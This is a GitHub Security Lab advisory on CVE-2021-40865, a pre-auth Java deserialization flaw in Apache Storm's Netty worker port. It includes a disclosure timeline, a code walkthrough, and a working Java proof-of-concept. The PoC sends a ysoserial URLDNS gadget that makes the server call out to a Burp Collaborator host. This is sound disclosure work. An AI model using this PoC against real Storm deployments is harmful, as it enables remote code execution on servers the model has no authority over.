Coordinated Disclosure Timeline
- 2021-06-03: Sent report to security@apache.org
- 2021-09-20: Apache shares candidate patch with us. Fix will get released as part of Apache Storm version 2.3.0 (planned to be release by September 30, 2021). Three additional releases, 2.2.1, 2.1.1, and 1.2.4 will follow.
- 2021-10-25: Advisories are published by Apache
Summary
An Unsafe Deserialization vulnerability exists in the worker services of the Apache Storm supervisor server allowing pre-auth Remote Code Execution (RCE)
Product
Apache Storm
Tested Version
2.2.0
Details
Apache Storm supervisor starts a number of worker processes on top of a Netty server listening, by default, on ports 6700, 6701, etc. The Netty server channel uses StormServerPipelineFactory to configure the channel pipeline:
protected void initChannel(Channel ch) throws Exception {
// Create a default pipeline implementation.
ChannelPipeline pipeline = ch.pipeline();
// Decoder
pipeline.addLast("decoder", new MessageDecoder(new KryoValuesDeserializer(topoConf)));
// Encoders
pipeline.addLast("netty-serializable-encoder", NettySerializableMessageEncoder.INSTANCE);
pipeline.addLast("backpressure-encoder", new BackPressureStatusEncoder(new KryoValuesSerializer(topoConf)));
boolean isNettyAuth = (Boolean) topoConf
.get(Config.STORM_MESSAGING_NETTY_AUTHENTICATION);
if (isNettyAuth) {
// Authenticate: Removed after authentication completes
pipeline.addLast("saslServerHandler", new SaslStormServerHandler(
server));
// Authorize
pipeline.addLast("authorizeServerHandler",
new SaslStormServerAuthorizeHandler());
}
// business logic.
pipelin.addLast("handler", new StormServerHandler(server));
}
In the Inbound direction, the following handlers are registered in the following order:
MessageDecoder
SaslStormServerHandler
SaslStormServerAuthorizeHandler
StormServerHandler
Even if authentication and authorization are enabled (not enabled by default), the MessageDecoder
handler is used in the first place so will be reachable even with incorrect credentials.
MessageDecoder
decodes the bytes received from the Netty socket which should be:
- code (2 bytes)
- length (4 bytes)
- payload (N bytes)
When code
is -600
(BackPressureStatus.IDENTIFIER
), the following code is executed:
// case 3: BackPressureStatus
if (code == BackPressureStatus.IDENTIFIER) {
available = buf.readableBytes();
if (available < 4) {
//Need more data
buf.resetReaderIndex();
return;
}
int dataLen = buf.readInt();
if (available < 4 + dataLen) {
// need more data
buf.resetReaderIndex();
return;
}
byte[] bytes = new byte[dataLen];
buf.readBytes(bytes);
out.add(BackPressureStatus.read(bytes, deser));
return;
}
The incoming bytes are passed to BackPressureStatus.read(bytes, deser)
:
public static BackPressureStatus read(byte[] bytes, KryoValuesDeserializer deserializer) {
return (BackPressureStatus) deserializer.deserializeObject(bytes);
}
Where deserializer
is an instance of KryoValuesDeserializer
which gets returned by DefaultKryoFactory.getKryo()
. Under default configuration, this Kryo instance getDefaultSerializer
will return an instance of SerializableSerializer
which uses the native Java ObjectInputStream
with unregistered types. Therefore, an attacker can send a malicious packet to the Netty server and deserialize arbitrary types.
There are other places where Kryo deserializes untrusted data. For example:
MessageDecoder
when used by the Client.- KryoTupleDeserializer.deserialize(byte[] ser)
- used in List
- used in Netty’s org.apache.storm.messaging.netty.StormClientHandler.channelRead(ChannelHandlerContext ctx, Object message)
- KryoTupleDeserializer.deserialize(byte[] ser)
- used in org.apache.storm.messaging.DeserializingConnectionCallback.recv(List
batch) - used in org.apache.storm.messaging.netty.Server.enqueue(List
msgs, String from) - used in org.apache.storm.messaging.netty.Server.received(Object message, String remote, Channel channel)
- used in org.apache.storm.messaging.netty.StormServerHandler.channelRead(ChannelHandlerContext ctx, Object msg)
- used in:
- org.apache.storm.messaging.netty.StormServerPipelineFactory.initChannel
- org.apache.storm.pacemaker.codec.ThriftNettyServerCodec.initChannel
- used in org.apache.storm.messaging.DeserializingConnectionCallback.recv(List
- KryoTupleDeserializer.deserialize(byte[] ser)
- used in HttpForwardingMetricsServer. Seems like a helper tool (loadgen) so not sure its worth reporting
PoC
The following PoC will send a packet to the Netty Worker service port (6700) with an instance of the YSoSerial URLDNS
gadget payload. Upon deserialization, the server will perform a DNS name resolution for the provided domain (http://k6r17p7xvz8a7wj638bqj6dydpji77.burpcollaborator.net
)
import org.apache.commons.io.IOUtils;
import org.apache.storm.serialization.KryoValuesSerializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.URLDNS;
import java.io.*;
import java.math.BigInteger;
import java.net.*;
import java.util.HashMap;
public class NettyExploit {
/**
* Encoded as -600 ... short(2) len ... int(4) payload ... byte[] *
*/
public static byte[] buffer(KryoValuesSerializer ser, Object obj) throws IOException {
byte[] payload = ser.serializeObject(obj);
BigInteger codeInt = BigInteger.valueOf(-600);
byte[] code = codeInt.toByteArray();
BigInteger lengthInt = BigInteger.valueOf(payload.length);
byte[] length = lengthInt.toByteArray();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream( );
outputStream.write(code);
outputStream.write(new byte[] {0, 0});
outputStream.write(length);
outputStream.write(payload);
return outputStream.toByteArray( );
}
public static KryoValuesSerializer getSerializer() throws MalformedURLException {
HashMap<String, Object> conf = new HashMap<>();
conf.put("topology.kryo.factory", "org.apache.storm.serialization.DefaultKryoFactory");
conf.put("topology.tuple.serializer", "org.apache.storm.serialization.types.ListDelegateSerializer");
conf.put("topology.skip.missing.kryo.registrations", false);
conf.put("topology.fall.back.on.java.serialization", true);
return new KryoValuesSerializer(conf);
}
public static void main(String[] args) {
try {
// Payload construction
String command = "http://k6r17p7xvz8a7wj638bqj6dydpji77.burpcollaborator.net";
ObjectPayload gadget = URLDNS.class.newInstance();
Object payload = gadget.getObject(command);
// Kryo serialization
byte[] bytes = buffer(getSerializer(), payload);
// Send bytes
Socket socket = new Socket("127.0.0.1", 6700);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
The StackTrace for the exploit execution is:
readObject:-1, ObjectInputStream (java.io)
read:51, SerializableSerializer (org.apache.storm.serialization)
readClassAndObject:793, Kryo (com.esotericsoftware.kryo)
read:153, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:793, Kryo (com.esotericsoftware.kryo)
deserializeObject:42, KryoValuesDeserializer (org.apache.storm.serialization)
read:56, BackPressureStatus (org.apache.storm.messaging.netty)
decode:123, MessageDecoder (org.apache.storm.messaging.netty)
decodeRemovalReentryProtection:502, ByteToMessageDecoder (org.apache.storm.shade.io.netty.handler.codec)
callDecode:441, ByteToMessageDecoder (org.apache.storm.shade.io.netty.handler.codec)
channelRead:278, ByteToMessageDecoder (org.apache.storm.shade.io.netty.handler.codec)
invokeChannelRead:362, AbstractChannelHandlerContext (org.apache.storm.shade.io.netty.channel)
invokeChannelRead:348, AbstractChannelHandlerContext (org.apache.storm.shade.io.netty.channel)
fireChannelRead:340, AbstractChannelHandlerContext (org.apache.storm.shade.io.netty.channel)
channelRead:1434, DefaultChannelPipeline$HeadContext (org.apache.storm.shade.io.netty.channel)
invokeChannelRead:362, AbstractChannelHandlerContext (org.apache.storm.shade.io.netty.channel)
invokeChannelRead:348, AbstractChannelHandlerContext (org.apache.storm.shade.io.netty.channel)
fireChannelRead:965, DefaultChannelPipeline (org.apache.storm.shade.io.netty.channel)
read:163, AbstractNioByteChannel$NioByteUnsafe (org.apache.storm.shade.io.netty.channel.nio)
processSelectedKey:644, NioEventLoop (org.apache.storm.shade.io.netty.channel.nio)
processSelectedKeysOptimized:579, NioEventLoop (org.apache.storm.shade.io.netty.channel.nio)
processSelectedKeys:496, NioEventLoop (org.apache.storm.shade.io.netty.channel.nio)
run:458, NioEventLoop (org.apache.storm.shade.io.netty.channel.nio)
run:897, SingleThreadEventExecutor$5 (org.apache.storm.shade.io.netty.util.concurrent)
run:-1, Thread (java.lang)
Impact
This issue may lead to pre-auth RCE
CVE
- CVE-2021-40865
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-086
in any communication regarding this issue.